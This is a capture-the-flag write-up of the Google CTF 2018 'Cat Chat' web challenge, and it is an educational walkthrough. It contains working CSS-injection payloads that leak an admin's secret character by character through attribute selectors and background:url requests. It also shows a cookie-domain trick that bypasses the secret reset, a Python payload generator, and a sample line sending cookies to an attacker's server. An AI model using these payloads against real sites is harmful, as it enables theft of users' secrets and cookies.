Cat Chat Google-CTF '18 Writeup
Writeup of Cat Chat Google-CTF'18
The Problem Statement
It's a chat room based on node js, where you're strictly not allowed any "dog" talk.
Following is the page you get on clicking on the link ( the room could be different for each one of you ).
Initial Analysis
The first thing I do on a web challenge is check it's source and then check every functionality of the web app, while passing it through a proxy ( preferably Burp suite ), just to check some hidden headers etc . The proxy helps in analysing requests later , as it's saved in it's history.
The source did have some hidden admin functionality, commented in the source.
Apart from this we had the source of the application, namely server.js, poking around, there was one more file catchat.js.
The second rule states the following :
- Dog talk is strictly forbidden. If you see anyone talking about dogs, please report the incident, and the admin will take the appropriate steps. This usually means that the admin joins the room, listens to the conversation for a brief period and bans anyone who mentions dogs.
You can notice the text I made bold. So, the admin also comes to the chat, sounds interesting.
Other basic functionality :
/name YourNewName
- Change your nick name to YourNewName./report
- Report dog talk to the admin.
Like irc you could issue these commands, so let's now take a deep dive.
The Hunt Begins
Looking into the source server.js
switch (msg.match(/^\/[^ ]*/)[0]) {
case '/name':
if (!(arg = msg.match(/\/name (.+)/))) break
response = { type: 'rename', name: arg[1] }
broadcast(room, { type: 'name', name: arg[1], old: name })
case '/ban':
if (!(arg = msg.match(/\/ban (.+)/))) break
if (!req.admin) break
broadcast(room, { type: 'ban', name: arg[1] })
case '/secret':
if (!(arg = msg.match(/\/secret (.+)/))) break
res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000')
response = { type: 'secret' }
case '/report':
if (!(arg = msg.match(/\/report (.+)/))) break
var ip = req.headers['x-forwarded-for']
ip = ip ? ip.split(',')[0] : req.connection.remoteAddress
response = await admin.report(
arg[1],
ip,
`https://${req.headers.host}/room/${room}/`
)
}
A few things to notice here :
- CSP : You can't just ignore this :p.
headers: {
'Content-Security-Policy': [
'default-src \'self\'',
'style-src \'unsafe-inline\' \'self\'',
'script-src \'self\' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/',
'frame-src \'self\' https://www.google.com/recaptcha/',
].join('; ')
},
I didn't quite understood csp before, I read about it on CSP MDN. So, it basically says you could add inline style sources and possibly cross style styling attack.
- Every command needs atleast one argument, ( which is separated by a space after the command ) and is aptly called
arg[1]
- In the secret command you can notice the input is straightaway put into the cookie, no input sanitisation.
case '/secret':
if (!(arg = msg.match(/\/secret (.+)/))) break;
res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
response = {type: 'secret'};
So, maybe it would be useful later.
- There is one line in report command, I don't know what it is used for, cause the admin.report functionality is not known yet ( and won't be later :p ).
var ip = req.headers['x-forwarded-for']
- report endpoint takes recaptcha's token as the first parameter
Now looking into catchat.js
// Utility functions
let cookie = (name) => (document.cookie.match(new RegExp(`(?:^|; )${name}=(.*?)(?:$|;)`)) || [])[1];
let esc = (str) => str.replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');
~~~ SNIP ~~~
ban(data) {
if (data.name == localStorage.name) {
document.cookie = 'banned=1; Path=/';
sse.close();
display(`You have been banned and from now on won't be able to receive and send messages.`);
} else {
display(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`);
}
},
~~~ SNIP ~~~
// Admin helper function. Invoke this to automate banning people in a misbehaving room.
// Note: the admin will already have their secret set in the cookie (it's a cookie with long expiration),
// so no need to deal with /secret and such when joining a room.
- This esc functionality is used to replace ''' , '"' , '<' and '>' to their html entities, thus preventing XSS, so maybe we have to extract something out of admin .
- ban function just adds a banned=1 cookie, thus removing it would unban us perhaps.
- A style tag is added with color as red when you're banned, here maybe we can use CSS injection.
- Admin will have their secret set , hmmm, sounds interesting ( mental note: will check it )
Further Functionality Testing
Okay now we dive into the application.
Join a chat room and start chatting.
Some things I tested out :
- Change name to dog, this won't ban you
- Try the /secret command
- Try basic XSS payload, none of it works as all have either single/double quote or angular brackets which are escaped by the esc function as seen earlier
I took the deleteAllCookies code from here and added a Path parameter to delete the banned=1 cookie.
You can see the flag cookie too, in the console window right side, it's the secret I set using the /secret command.
The secret is also visible ( it's only visible, when you hover over it) in the chat window, however it's only visible when you hover over it , it's in a span with attribute name data-secret ( as you can see in the screenshot below ).
Conclusions :
- "dog " in your name doesn't ban you
- /secret sets the flag cookie and outputs on the chat window in a hidden form
- Every XSS payload ( atleast which I knew ) is escaped
- The flag cookie only outputs when secret command is issued
Plan of Action
So, upto now 1-2 hour had passed, with me looking into the question. Now, I was getting the hang of question as to what needs to be done. Steps to do :
- Invite admin to chat ( done )
- Execute /secret without changing the flag cookie ( will require some work )
- Steal the flag cookie from the admin's chat ( will require some work )
Okay, so looking at the steps above , during the CTF actually I did find the solution to 3rd problem before the 2nd one.
It was CSS injection in the ban function and extracting data through it, I and one of my friend was working together and it was his idea of CSS injection . Here's a great blogpost about it.
Okay, I tried this, starting with color changing and later to data exfil. In the below screenshot on the right side I have another user which is going to be banned and I'm using the name parameter to do CSS injection. No badchars ( single/double quotes or angular brackets ) in the name. After the injection you can see the injection being executed and color on the left window changes.
Wait instead of changing color in css why not directly execute js there and get the cookie :
background:url(attacker's server/?cookies=+document.cookie)
The above statement has two flaws in it, one should be staring at your face, YOU CAN'T EXECUTE JAVASCIPT INTO CSS, WHY SHOULD THE BROWSER EVEN DO THAT
This js thing ( document.cookie
) was pointed to me by one of the admins.
The other one quite subtle, perhaps you forgot the CSP, it has default set to self
which means nothing can be set from anywhere else, except the domain itself.
That is when I realized to use the 2nd method mentioned in the aforementioned blogpost , abusing CSS attribute selectors for "Reading Data via CSS".
Well now, I have a method to exfil data but what to exfil from ?
Perhaps from data-secret attribute of the span tag
If the admin has his/her data-secret set then it can be done, easy peasy , is it ?
Can't the admin be so kind to do it for me ( LoL :p )
However, I have to find some way so that data-secret comes into admin's chat and I could steal it.
Let's account for the bugs we know of :
- CSS injection , background:url()
- No input sanitisation in cookie when secret command is issued
Okay so CSS injection can be used to run any command on admin's chat if I set the url accordingly, like this
/name leaker ] {background:url(/room/84b4b69a-d01d-45c3-b2c5-eb5d55abd734/send?name=LuD1161&msg=admin_code_exec);}
The name LuD1161 comes because it's in the name parameter of the url.
Okay, so the first hypothesis tested, now I have a way to send message from the admin, which is what I will use to exfil the flag out of admin.
So, now how do you get flag onto the chat window of admin, cause CSS injection cannot extract cookies.
Well only way is if we could get the flag in chat window and that can only be done using /secret command but then it will change the flag, hmmm.
Somehow, I have to execute the /secret and not change the flag, here I was stuck for sometime, then someone told me to look into the "set-headers options of cookie", well I looked upon it on MDN and reality dawned upon me, the answer was staring right into my face there. It stated :
Invalid domains
A cookie belonging to a domain that does not include the origin server should be rejected by the user agent. The following cookie will be rejected if it was set by a server hosted on originalcompany.com.
Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT
That's all I need , I was so happy :)
Here comes the 2nd bug ( no input sanitisation ) into play, use it to enter an invalid domain for the cookie, thus avoiding setting the cookie. However the original flag cookie would be printed cause secret command is issued :
secret(data) { display(`Successfully changed secret to *****`); },
And we know it is set because it's already mentioned in the source :
// Note: the admin will already have their secret set in the cookie (it's a cookie with long expiration)
The Battle Plan
- Join two users, one will be banning the other
- The user who's being banned will have the payload which will be executed onto the chat window
- Auto reset the cookies using deleteAllCookies, cause we have to exfil data char-by-char
- Automate the whole process ( Later thought so, as much as possible )
First to test this I wrote a small payload and then added this to the script :
/name leaker ] {
}
span[data-secret^='CTF\{'] {
background: url(/room/3fa91dea-2fc6-4e0f-a614-8243c50e62d8/send?name=admin&msg=CTF{});
}
The output :
So, it didn't work, WHAT.
It can't be, I looked into it for long, after hours of mind boggling, I asked the admin, he/she told me that admin resets every time it visits the chat.
Okay, so I have to execute the secret command and exfil data in one go, no problem.
So my new payload goes like this :
/name leaker ] {
color: blue;
background: url(/room/84b4b69a-d01d-45c3-b2c5-eb5d55abd734/send?name=admin&msg=/secretCTF{this_cant_be_set};Domain=somecompany.co.uk);
}
{
}
span[data-secret^='CTF\{'] {
background: url(/room/84b4b69a-d01d-45c3-b2c5-eb5d55abd734/send?name=admin&msg=CTF{});
}
The Output :
So, I wrote a small python script that would generate the payload into two text files ( the total charset length is 92 , and adding it to each payload would make the GET request too large, so split it into chunks. Check here )
# -*- coding: utf-8 -*- | |
char_al_num = '0123456789abcdefghijklmnopqrstuvwxyz' | |
char_Al = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' | |
char_spl = '!"#$%&\'()*+,-./:;<=>?@^_`{|}~ ' | |
char_Al += char_spl | |
put_secret_in_chat = "/name leaker ] {color:blue; background:url(/room/3fa91dea-2fc6-4e0f-a614-8243c50e62d8/send?name=admin&msg=/secret abc; Domain=somecompany.co.uk);} " | |
def generate_payload(new_char_returned_by_admin): | |
main_thing = "span[data-secret^=CTF\{"+new_char_returned_by_admin+"KEY] {background:url(/room/3fa91dea-2fc6-4e0f-a614-8243c50e62d8/send?name=cyberillusion&msg=CTF{"+new_char_returned_by_admin+"KEY);} " | |
# main_thing = "span[data-secret*="+new_char_returned_by_admin+"\}KEY] {background:url(/room/3fa91dea-2fc6-4e0f-a614-8243c50e62d8/send?name=cyberillusion&msg="+new_char_returned_by_admin+"});} " | |
alnum_payload = put_secret_in_chat | |
AL_payload = put_secret_in_chat | |
for char in char_al_num: | |
alnum_payload += main_thing.replace('KEY', char) | |
for char in char_Al: | |
if char in char_spl: | |
char = '\\'+char | |
AL_payload += main_thing.replace('KEY', char) | |
with open('AL_payload.txt','w') as f: | |
f.write(AL_payload) | |
print("AL_payload.txt generated") | |
with open('alnum_payload.txt','w') as f: | |
f.write(alnum_payload) | |
print("alnum_payload.txt generated") | |
new_char_returned_by_admin = '' | |
while True: | |
new_char_returned_by_admin += raw_input("Enter the new char returned by admin : ") | |
generate_payload(new_char_returned_by_admin) |
The python script generates 2 files with the payloads. It runs in a continuous loop to take input from the user ( user will enter the next character that is returned by the admin ) and will append it to the original payload , thus updating the payload files.
Here you can see my final work, extracting the flag from admin :
Kudos to the google team for making such a good question πππ
Thanks.